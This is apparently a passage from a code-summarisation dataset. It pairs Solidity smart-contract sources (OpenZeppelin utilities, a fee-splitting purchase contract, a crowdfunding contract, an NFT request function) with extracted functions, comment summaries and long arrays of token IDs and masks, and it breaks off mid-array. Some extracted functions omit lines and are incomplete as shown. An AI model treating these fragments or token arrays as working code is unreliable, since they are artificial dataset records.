function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| * @dev Returns accumulated amount from last snapshot based on baseRate/ | function getCurrentReward(address staker) public view returns (uint256) {
Staker memory user = _stakers[staker];
return (block.timestamp - user.lastCheckpoint) * (baseYield * user.stakedVault.length) / SECONDS_IN_DAY;
}
| 13,141,638 | [
1,
1356,
24893,
3844,
628,
1142,
4439,
2511,
603,
1026,
4727,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
5175,
17631,
1060,
12,
2867,
384,
6388,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
1377,
934,
6388,
3778,
729,
273,
389,
334,
581,
414,
63,
334,
6388,
15533,
203,
1377,
327,
261,
2629,
18,
5508,
300,
729,
18,
2722,
14431,
13,
380,
261,
1969,
16348,
380,
729,
18,
334,
9477,
12003,
18,
2469,
13,
342,
17209,
67,
706,
67,
10339,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* Interface for the standard token.
* Based on https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
interface EIP20Token {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
function approve(address spender, uint256 value) external returns (bool success);
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// The owner of this contract should be an externally owned account
contract HubTokenPurchase is Ownable {
// Address of the target contract
address public purchase_address = 0xcc04AF825eEf340e99710D4366e3021F8d82F42A;
// Major partner address
address public major_partner_address = 0x212286e36Ae998FAd27b627EB326107B3aF1FeD4;
// Minor partner address
address public minor_partner_address = 0x515962688858eD980EB2Db2b6fA2802D9f620C6d;
// Additional gas used for transfers.
uint public gas = 1000;
// Payments to this contract require a bit of gas. 100k should be enough.
function() payable public {
execute_transfer(msg.value);
}
// Transfer some funds to the target purchase address.
function execute_transfer(uint transfer_amount) internal {
// Major fee is 1.4 for each 1035
uint major_fee = transfer_amount * 21 / 1035;
// Minor fee is 2.1 for each 1035
uint minor_fee = transfer_amount * 14 / 1035;
require(major_partner_address.call.gas(gas).value(major_fee)());
require(minor_partner_address.call.gas(gas).value(minor_fee)());
// Send the rest
uint purchase_amount = transfer_amount - major_fee - minor_fee;
require(purchase_address.call.gas(gas).value(purchase_amount)());
}
// Sets the amount of additional gas allowed to addresses called
// @dev This allows transfers to multisigs that use more than 2300 gas in their fallback function.
//
function set_transfer_gas(uint transfer_gas) public onlyOwner {
gas = transfer_gas;
}
// We can use this function to move unwanted tokens in the contract
function approve_unwanted_tokens(EIP20Token token, address dest, uint value) public onlyOwner {
token.approve(dest, value);
}
// This contract is designed to have no balance.
// However, we include this function to avoid stuck value by some unknown mishap.
function emergency_withdraw() public onlyOwner {
require(msg.sender.call.gas(gas).value(address(this).balance)());
}
} | Transfer some funds to the target purchase address. Major fee is 1.4 for each 1035 Minor fee is 2.1 for each 1035 Send the rest | function execute_transfer(uint transfer_amount) internal {
uint major_fee = transfer_amount * 21 / 1035;
uint minor_fee = transfer_amount * 14 / 1035;
require(major_partner_address.call.gas(gas).value(major_fee)());
require(minor_partner_address.call.gas(gas).value(minor_fee)());
uint purchase_amount = transfer_amount - major_fee - minor_fee;
require(purchase_address.call.gas(gas).value(purchase_amount)());
}
| 9,988,710 | [
1,
5912,
2690,
284,
19156,
358,
326,
1018,
23701,
1758,
18,
25977,
14036,
353,
404,
18,
24,
364,
1517,
1728,
4763,
29007,
14036,
353,
576,
18,
21,
364,
1517,
1728,
4763,
2479,
326,
3127,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
1836,
67,
13866,
12,
11890,
7412,
67,
8949,
13,
2713,
288,
203,
565,
2254,
7888,
67,
21386,
273,
7412,
67,
8949,
380,
9035,
342,
1728,
4763,
31,
203,
565,
2254,
8439,
67,
21386,
273,
7412,
67,
8949,
380,
5045,
342,
1728,
4763,
31,
203,
203,
565,
2583,
12,
14019,
67,
31993,
67,
2867,
18,
1991,
18,
31604,
12,
31604,
2934,
1132,
12,
14019,
67,
21386,
13,
10663,
203,
565,
2583,
12,
17364,
67,
31993,
67,
2867,
18,
1991,
18,
31604,
12,
31604,
2934,
1132,
12,
17364,
67,
21386,
13,
10663,
203,
203,
565,
2254,
23701,
67,
8949,
273,
7412,
67,
8949,
300,
7888,
67,
21386,
300,
8439,
67,
21386,
31,
203,
565,
2583,
12,
12688,
12104,
67,
2867,
18,
1991,
18,
31604,
12,
31604,
2934,
1132,
12,
12688,
12104,
67,
8949,
13,
10663,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x04490df348A337D275feCB4fE43DD90f4a7b64c9/sources/CreaticlesNFT.sol | MUTABLE FUNCTIONS* @dev creates a request @param _detailsHash => keccak256 hash of the metadata of the request @param _numberOfWinners => the initially set number of winners. A request cannot take more winners than specified @param _duration => time span of contest in seconds. After this time is up. No more proposals can be taken and the choosing period starts @param _numMintPerToken => number of NFTs per winner . You can choose to mint fewer NFTs when your contest is over but you cannot mint more. @param _paymentERC20Address => ERC20Address of payment @param _paymentValue => Value of payment/ zero address corresponds to ethereum payment, the default Here we explore additional ERC20 payment options | function createRequest(
bytes32 _detailsHash,
uint16 _numberOfWinners,
uint32 _duration,
uint256 _numMintPerToken,
address _paymentERC20Address,
uint256 _paymentValue
) public payable returns (uint256) {
require(_numberOfWinners > 0);
require(_paymentValue > 0);
uint256 _cval;
uint256 _value;
{
if (_paymentERC20Address == address(0)) {
require(msg.value == _paymentValue);
_value = msg.value - _cval;
treasury.transfer(_cval);
IERC20(_paymentERC20Address).transferFrom(
msg.sender,
address(this),
_paymentValue
);
_value = _paymentValue - _cval;
IERC20(_paymentERC20Address).transfer(treasury, _cval);
}
request_erc20_addresses[numberOfRequests] = _paymentERC20Address;
Request storage _request = requests[numberOfRequests];
_request.requester = msg.sender;
_request.detailsHash = _detailsHash;
_request.value = _value;
_request.numberOfWinners = _numberOfWinners;
_request.createdAt = block.timestamp;
_request.expiresAt = block.timestamp + _duration;
_request.active = true;
_request.numMintPerToken = _numMintPerToken;
numberOfRequests += 1;
}
emit RequestCreated(
numberOfRequests - 1,
msg.sender,
_detailsHash,
_value,
_numberOfWinners,
block.timestamp,
block.timestamp + _duration,
true,
_numMintPerToken
);
return numberOfRequests - 1;
}
| 4,413,156 | [
1,
49,
1693,
2782,
13690,
55,
225,
3414,
279,
590,
225,
389,
6395,
2310,
516,
417,
24410,
581,
5034,
1651,
434,
326,
1982,
434,
326,
590,
225,
389,
2696,
951,
18049,
9646,
516,
326,
22458,
444,
1300,
434,
5657,
9646,
18,
432,
590,
2780,
4862,
1898,
5657,
9646,
2353,
1269,
225,
389,
8760,
516,
813,
4548,
434,
466,
395,
316,
3974,
18,
7360,
333,
813,
353,
731,
18,
2631,
1898,
450,
22536,
848,
506,
9830,
471,
326,
24784,
310,
3879,
2542,
225,
389,
2107,
49,
474,
2173,
1345,
516,
1300,
434,
423,
4464,
87,
1534,
5657,
1224,
263,
4554,
848,
9876,
358,
312,
474,
27886,
423,
4464,
87,
1347,
3433,
466,
395,
353,
1879,
1496,
1846,
2780,
312,
474,
1898,
18,
225,
389,
9261,
654,
39,
3462,
1887,
516,
4232,
39,
3462,
1887,
434,
5184,
225,
389,
9261,
620,
516,
225,
1445,
434,
5184,
19,
3634,
1758,
13955,
358,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
445,
15798,
12,
203,
3639,
1731,
1578,
389,
6395,
2310,
16,
203,
3639,
2254,
2313,
389,
2696,
951,
18049,
9646,
16,
203,
3639,
2254,
1578,
389,
8760,
16,
203,
3639,
2254,
5034,
389,
2107,
49,
474,
2173,
1345,
16,
203,
3639,
1758,
389,
9261,
654,
39,
3462,
1887,
16,
203,
3639,
2254,
5034,
389,
9261,
620,
203,
565,
262,
1071,
8843,
429,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
24899,
2696,
951,
18049,
9646,
405,
374,
1769,
203,
3639,
2583,
24899,
9261,
620,
405,
374,
1769,
203,
203,
3639,
2254,
5034,
389,
71,
1125,
31,
203,
3639,
2254,
5034,
389,
1132,
31,
203,
3639,
288,
203,
5411,
309,
261,
67,
9261,
654,
39,
3462,
1887,
422,
1758,
12,
20,
3719,
288,
203,
7734,
2583,
12,
3576,
18,
1132,
422,
389,
9261,
620,
1769,
203,
7734,
389,
1132,
273,
1234,
18,
1132,
300,
389,
71,
1125,
31,
203,
7734,
9787,
345,
22498,
18,
13866,
24899,
71,
1125,
1769,
203,
7734,
467,
654,
39,
3462,
24899,
9261,
654,
39,
3462,
1887,
2934,
13866,
1265,
12,
203,
10792,
1234,
18,
15330,
16,
203,
10792,
1758,
12,
2211,
3631,
203,
10792,
389,
9261,
620,
203,
7734,
11272,
203,
7734,
389,
1132,
273,
389,
9261,
620,
300,
389,
71,
1125,
31,
203,
7734,
467,
654,
39,
3462,
24899,
9261,
654,
39,
3462,
1887,
2934,
13866,
12,
27427,
345,
22498,
16,
389,
71,
1125,
1769,
203,
5411,
289,
203,
5411,
590,
67,
12610,
3462,
67,
13277,
63,
2696,
951,
6421,
65,
273,
389,
9261,
654,
39,
3462,
2
] |
./full_match/42/0x62a71dd23F8c8478501EE2b86Fe9Ec347cb2Bc8a/sources/contracts/FundMe.sol | if you're following along with the freecodecamp video Please see https:github.com/PatrickAlphaC/fund_me to get the starting solidity contract code, it'll be slightly different than this! | contract FundMe {
mapping(address => uint256) public addressToAmountFunded;
address[] public funders;
address public owner;
AggregatorV3Interface public priceFeed;
mapping(address => uint) shares;
constructor(address _priceFeed) public {
priceFeed = AggregatorV3Interface(_priceFeed);
owner = msg.sender;
}
function fund() public payable {
uint256 mimimumUSD = 30 * 10**18;
require(
getConversionRate(msg.value) >= mimimumUSD,
"You need to spend more ETH!"
);
addressToAmountFunded[msg.sender] += msg.value;
funders.push(msg.sender);
}
function getVersion() public view returns (uint256) {
return priceFeed.version();
}
function getPrice() public view returns (uint256) {
(, int256 answer, , , ) = priceFeed.latestRoundData();
return uint256(answer * 10000000000);
}
function getConversionRate(uint256 ethAmount)
public
view
returns (uint256)
{
uint256 ethPrice = getPrice();
uint256 ethAmountInUsd = (ethPrice * ethAmount) / 1000000000000000000;
return ethAmountInUsd;
}
function getEntranceFee() public view returns (uint256) {
uint256 mimimumUSD = 50 * 10**18;
uint256 price = getPrice();
uint256 precision = 1 * 10**18;
return (mimimumUSD * precision) / price;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function withdraw() public payable onlyOwner {
payable(msg.sender).transfer(address(this).balance);
for (
uint256 funderIndex = 0;
funderIndex < funders.length;
funderIndex++
) {
address funder = funders[funderIndex];
addressToAmountFunded[funder] = 0;
}
funders = new address[](0);
}
function withdraw() public payable onlyOwner {
payable(msg.sender).transfer(address(this).balance);
for (
uint256 funderIndex = 0;
funderIndex < funders.length;
funderIndex++
) {
address funder = funders[funderIndex];
addressToAmountFunded[funder] = 0;
}
funders = new address[](0);
}
function personalWithdraw() public {
uint share = shares[msg.sender];
shares[msg.sender] = 0;
payable(msg.sender).transfer(share);
}
} | 16,284,359 | [
1,
430,
1846,
4565,
3751,
7563,
598,
326,
22010,
557,
390,
71,
931,
6191,
7801,
2621,
2333,
30,
6662,
18,
832,
19,
22834,
86,
1200,
9690,
39,
19,
74,
1074,
67,
3501,
358,
336,
326,
5023,
18035,
560,
6835,
981,
16,
518,
5614,
506,
21980,
3775,
2353,
333,
5,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
478,
1074,
4667,
288,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
1758,
774,
6275,
42,
12254,
31,
203,
565,
1758,
8526,
1071,
284,
26843,
31,
203,
565,
1758,
1071,
3410,
31,
203,
565,
10594,
639,
58,
23,
1358,
1071,
6205,
8141,
31,
203,
565,
2874,
12,
2867,
516,
2254,
13,
24123,
31,
203,
377,
203,
203,
565,
3885,
12,
2867,
389,
8694,
8141,
13,
1071,
288,
203,
3639,
6205,
8141,
273,
10594,
639,
58,
23,
1358,
24899,
8694,
8141,
1769,
203,
3639,
3410,
273,
1234,
